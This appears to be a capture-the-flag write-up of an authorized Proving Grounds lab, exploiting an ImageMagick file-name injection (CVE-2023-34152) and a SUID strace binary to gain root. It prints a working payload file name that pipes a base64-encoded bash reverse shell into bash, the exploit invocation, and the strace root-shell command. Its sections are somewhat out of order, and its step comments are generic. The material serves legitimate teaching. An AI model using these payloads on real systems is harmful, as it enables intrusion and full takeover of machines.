Target: Linux

Proving Grounds: Image

This lab demonstrates exploiting ImageMagick with CVE-2023-34152, which allows Remote Code Execution (RCE) by manipulating image file names containing malicious payloads. Privilege escalation is performed by leveraging a SUID binary (strace) to spawn a root shell. This lab highlights RCE exploitation through misconfigured image processing and privilege escalation using SUID binaries.

Proving GroundsAuthorized lab writeupCybersecurity portfolio

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

The lab focuses on various enumeration techniques, including web enumeration, to identify vulnerabilities in applications. It teaches Learners to exploit an ImageMagick vulnerability for initial access. Finally, the lab covers how to abuse SUID binaries for privilege escalation.

Scenario

This lab demonstrates exploiting ImageMagick with CVE-2023-34152, which allows Remote Code Execution (RCE) by manipulating image file names containing malicious payloads. Privilege escalation is performed by leveraging a SUID binary (strace) to spawn a root shell. This lab highlights RCE exploitation through misconfigured image processing and privilege escalation using SUID binaries.

Learning objectives

After completion of this lab, learners will be able to:

Perform enumeration to identify a web server processing image uploads using ImageMagick.
Exploit CVE-2023-34152 by crafting an image file name containing a base64-encoded reverse shell payload.
Upload the malicious file and execute the payload to establish a reverse shell as www-data.
Identify the strace binary with SUID permissions using system enumeration.
Exploit strace to spawn a privileged shell using /bin/sh -p and escalate privileges to root.

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

(kali㉿kali)-[~/offsec/image/ImageTragick_CVE-2023-34152]
# Run the helper or analysis script used in this lab step.

└─$ python3 CVE-2023-34152.py                                                                  
usage: CVE-2023-34152.py [-h] [-l LHOST] [-p LPORT]

Image Magic

options:
  -h, --help         show this help message and exit
  -l, --LHOST LHOST  LHOST (default: None)
  -p, --LPORT LPORT  LPORT (default: None)
                                                                                                                                                      
┌──(.myenv)─(kali㉿kali)-[~/offsec/image/ImageTragick_CVE-2023-34152]
# Run the helper or analysis script used in this lab step.

└─$ python3 CVE-2023-34152.py -l 192.168.45.205 -p 4444

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

┌──(.myenv)─(kali㉿kali)-[~/offsec/image/ImageTragick_CVE-2023-34152]
# Inspect the directory for files relevant to the next step.

└─$ ls
 base.txt   CVE-2023-34152.py  '|en"`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjIwNS80NDQ0IDA+JjEK'$'\n'' | base64 -d | bash`".png'   en.png   REA

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Search the filesystem for files relevant to escalation or access.

www-data@image:/var/www$ find / -type f -perm -u=s 2>/dev/null
# Search the filesystem for files relevant to escalation or access.

find / -type f -perm -u=s 2>/dev/null
/usr/bin/strace
...

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output records the result observed during this authorized lab step.

## using GTFP bin

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

www-data@image:/var/www$ /usr/bin/strace -o /dev/null /bin/sh -p
/usr/bin/strace -o /dev/null /bin/sh -p
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
# Read the file contents for useful configuration or credential data.

cat /root/proof.txt
7bf9526dce67917ce29ad0771a16d927

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The scan output identifies the target's exposed services and their versions.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: ImageMagick Identifier

Port 80 has a ImageMagic identifier site
It only accepts jpg and png files
uploaded test.png file and it showed us version 6.9.6-4
ImageTRICK 6.9 version is vulnerable to piped file name
Payload image can be created using https://github.com/overgrowncarrot1/ImageTragick_CVE-2023-34152?source=post_page-----47a18735fa20---------------------------------------

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The output records the result observed during this authorized lab step.

## Uploaded this file to the site and got reverse shell

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.